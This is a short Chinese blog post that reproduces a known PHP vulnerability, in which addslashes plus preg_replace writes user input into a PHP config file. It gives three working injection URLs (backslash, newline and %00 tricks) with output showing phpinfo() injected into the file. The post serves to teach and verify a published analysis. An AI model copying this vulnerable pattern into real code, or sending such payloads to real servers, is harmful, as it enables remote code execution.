一个PHP正则相关的“经典漏洞”


  1. 文件准备
    example.php 文件

    <?php
    $str = addslashes($_GET['option']);
    $file = file_get_contents('example_test.php');
    $file = preg_replace('|\$option=\'.*\';|',"\$option='$str';", $file);
    var_dump($str, $file);
    file_put_contents('example_test.php', $file);

    example.php

    example_test.php 文件

    <?php
    $option='hello';
    echo $option;

    example_test.php

注入方法

方法一: 利用反斜杠, 输入\';phpinfo();//

http://example.com/example.php?option=\%27;phpinfo();//

string(17) "\\\';phpinfo();//"
string(50) "<?php

$option='\\';phpinfo();//';

echo $option;
"

方法二: 利用正则, 输入aaa';phpinfo();%0a//

http://example.com/example.php?option=aaa%27;phpinfo();%0a//

string(19) "aaa\';phpinfo();
//"
string(53) "<?php

$option='aaa\';phpinfo();
//';

echo $option;
"

方法三: 利用 %00

  1. 输入;phpinfo();, http://example.com/example.php?option=;phpinfo();

    string(11) ";phpinfo();"
    string(45) "<?php
    
    $option=';phpinfo();';
    
    echo $option;
    "
  2. 再次输入%00, http://example.com/example.php?option=%00

    string(2) "\0"
    string(56) "<?php
    
    $option='$option=';phpinfo();';';
    
    echo $option;
    "

本文为验证,原文有解析: https://www.cdxy.me/?p=756


参考文档


Author: Itaken
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source Itaken !
  TOC目录